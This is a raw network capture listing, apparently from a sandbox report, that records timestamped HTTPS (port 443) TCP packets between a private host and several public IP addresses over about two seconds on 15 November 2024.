Nov 15, 2024 09:55:23.989267111 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.989274979 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.101083994 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 09:55:24.116553068 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.116637945 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.116689920 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.273492098 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.274122953 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.274158001 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.274171114 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.274179935 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.274390936 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.322309971 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.322348118 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.323112965 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.323121071 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.324173927 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.324198008 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.324878931 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.324882984 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.329895973 CET	49780	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:24.329932928 CET	443	49780	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:24.330297947 CET	49780	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:24.330513954 CET	49780	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:24.330527067 CET	443	49780	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:24.387276888 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.387329102 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.387413025 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.424170017 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.424196005 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.424402952 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:24.424452066 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:24.424514055 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:24.424812078 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:24.424824953 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:24.448005915 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.448086977 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.448148966 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.449378967 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.449403048 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.449445963 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.449454069 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.450925112 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.451064110 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.451118946 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.453171968 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.453193903 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.453203917 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.453210115 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.465250969 CET	49783	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:24.465301037 CET	443	49783	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:24.466303110 CET	49783	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:24.466303110 CET	49783	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:24.466346025 CET	443	49783	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:24.534194946 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.547194004 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.552160978 CET	49784	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:24.552197933 CET	443	49784	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:24.552288055 CET	49784	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:24.552550077 CET	49784	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:24.552567959 CET	443	49784	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:24.553105116 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.553124905 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.553668976 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.553677082 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.562701941 CET	49776	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.562714100 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.563198090 CET	49776	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.563205957 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.576987028 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.577033997 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.577137947 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.577315092 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.577328920 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.577967882 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.577981949 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.578075886 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.578371048 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.578382969 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.680811882 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.680902004 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.681067944 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.682200909 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.682200909 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.682250023 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.682280064 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.692361116 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.692456007 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.692645073 CET	49776	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.698276997 CET	49776	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.698296070 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.698384047 CET	49776	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.698391914 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.701108932 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.701176882 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.701489925 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.702069044 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.702112913 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.702174902 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.704961061 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.704981089 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.705319881 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:24.705355883 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:24.749538898 CET	49791	443	192.168.2.7	20.109.210.53
Nov 15, 2024 09:55:24.749573946 CET	443	49791	20.109.210.53	192.168.2.7
Nov 15, 2024 09:55:24.749696970 CET	49791	443	192.168.2.7	20.109.210.53
Nov 15, 2024 09:55:24.751421928 CET	49791	443	192.168.2.7	20.109.210.53
Nov 15, 2024 09:55:24.751435041 CET	443	49791	20.109.210.53	192.168.2.7
Nov 15, 2024 09:55:24.793565989 CET	49700	443	192.168.2.7	104.98.116.138
Nov 15, 2024 09:55:24.793709993 CET	49792	443	192.168.2.7	104.98.116.138
Nov 15, 2024 09:55:24.793741941 CET	443	49792	104.98.116.138	192.168.2.7
Nov 15, 2024 09:55:24.793948889 CET	49792	443	192.168.2.7	104.98.116.138
Nov 15, 2024 09:55:24.797467947 CET	49792	443	192.168.2.7	104.98.116.138
Nov 15, 2024 09:55:24.797480106 CET	443	49792	104.98.116.138	192.168.2.7
Nov 15, 2024 09:55:24.798458099 CET	443	49700	104.98.116.138	192.168.2.7
Nov 15, 2024 09:55:25.159821987 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.179835081 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.179867029 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.180427074 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.180434942 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.197902918 CET	443	49780	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.198188066 CET	49780	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.198208094 CET	443	49780	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.199659109 CET	443	49780	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.199718952 CET	49780	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.202683926 CET	49780	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.202770948 CET	443	49780	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.202855110 CET	49780	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.202861071 CET	443	49780	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.252609968 CET	49780	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.282051086 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.282279968 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.282299042 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.283271074 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.283332109 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.283715010 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.283771992 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.283942938 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.304213047 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.304729939 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.304749966 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.305242062 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.305248976 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.305903912 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.306056023 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.306201935 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.306250095 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.306271076 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.306284904 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.306291103 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.309333086 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.309365988 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.309541941 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.309685946 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.309715986 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.323525906 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.324117899 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.324204922 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.324532032 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.324548006 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.327333927 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.330743074 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.330769062 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.335443020 CET	443	49783	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.335733891 CET	49783	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.335747004 CET	443	49783	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.336705923 CET	443	49783	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.336956024 CET	49783	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.337248087 CET	49783	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.337305069 CET	443	49783	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.337413073 CET	49783	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.337419987 CET	443	49783	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.377629995 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.378266096 CET	49783	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.396584988 CET	443	49784	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.397197008 CET	49784	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.397207975 CET	443	49784	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.400350094 CET	443	49784	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.400408030 CET	49784	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.400738955 CET	49784	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.400835037 CET	443	49784	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.433944941 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.433964968 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.434039116 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.434067965 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.434181929 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.434355974 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.434549093 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.434559107 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.438040018 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.438060999 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.438318014 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.438539028 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.438554049 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.441482067 CET	49784	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.441493988 CET	443	49784	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.447772980 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.448198080 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.448282957 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.448785067 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.448800087 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.454679012 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.454904079 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.454972029 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.455096006 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.455096006 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.455133915 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.455163002 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.456760883 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.458349943 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.458405018 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.458862066 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.458875895 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.460870028 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.460916996 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.460983038 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.461157084 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.461184978 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.475819111 CET	443	49780	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.475960970 CET	443	49780	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.476030111 CET	49780	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.476062059 CET	443	49780	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.476144075 CET	443	49780	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.476207972 CET	49780	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.476227999 CET	443	49780	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.486980915 CET	49784	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.518259048 CET	49780	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.518307924 CET	443	49780	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.518562078 CET	49780	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.518691063 CET	443	49780	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.518920898 CET	49780	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.577049971 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.577126980 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.577236891 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.577639103 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.577658892 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.578969955 CET	443	49791	20.109.210.53	192.168.2.7
Nov 15, 2024 09:55:25.579349995 CET	49791	443	192.168.2.7	20.109.210.53
Nov 15, 2024 09:55:25.579420090 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.579560041 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.579649925 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.579653978 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.579683065 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.579852104 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.579891920 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.579926968 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.579987049 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.580002069 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.584460020 CET	49791	443	192.168.2.7	20.109.210.53
Nov 15, 2024 09:55:25.584477901 CET	443	49791	20.109.210.53	192.168.2.7
Nov 15, 2024 09:55:25.584762096 CET	443	49791	20.109.210.53	192.168.2.7
Nov 15, 2024 09:55:25.587035894 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.587095976 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.587111950 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.588840008 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.588891983 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.588956118 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.588984966 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.589262962 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.620227098 CET	443	49783	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.627764940 CET	49791	443	192.168.2.7	20.109.210.53
Nov 15, 2024 09:55:25.632417917 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.632452965 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.674503088 CET	49783	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.674536943 CET	443	49783	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.678857088 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.678858042 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:25.678927898 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.678960085 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:25.690123081 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.698209047 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.698400021 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.698481083 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.698499918 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.698596001 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.698656082 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.698668957 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.702151060 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.702212095 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.702272892 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.702286005 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.702750921 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.710793018 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.719777107 CET	49783	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.719789028 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.719856977 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.719870090 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.728888035 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.728971004 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.729048014 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.729069948 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.730155945 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.737055063 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.745898962 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.746006012 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.746074915 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.746095896 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.748436928 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.751385927 CET	443	49783	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.751441956 CET	443	49783	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.751566887 CET	49783	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.754148006 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.762178898 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.764471054 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.764544010 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.816932917 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.817065001 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.817158937 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.817156076 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.817234993 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.817275047 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.817339897 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.817430973 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.817487001 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.817503929 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.817600965 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.817658901 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.817672014 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.817720890 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.820694923 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.820955038 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.821031094 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.821043968 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.827498913 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.829555988 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.829664946 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.829679012 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.832437992 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.833465099 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.839438915 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.839529037 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.839621067 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.839637995 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.843868971 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.845868111 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.851538897 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.851627111 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.851700068 CET	49782	443	192.168.2.7	142.250.186.164
Nov 15, 2024 09:55:25.851712942 CET	443	49782	142.250.186.164	192.168.2.7
Nov 15, 2024 09:55:25.852051020 CET	49782	443	192.168.2.7	142.250.186.164
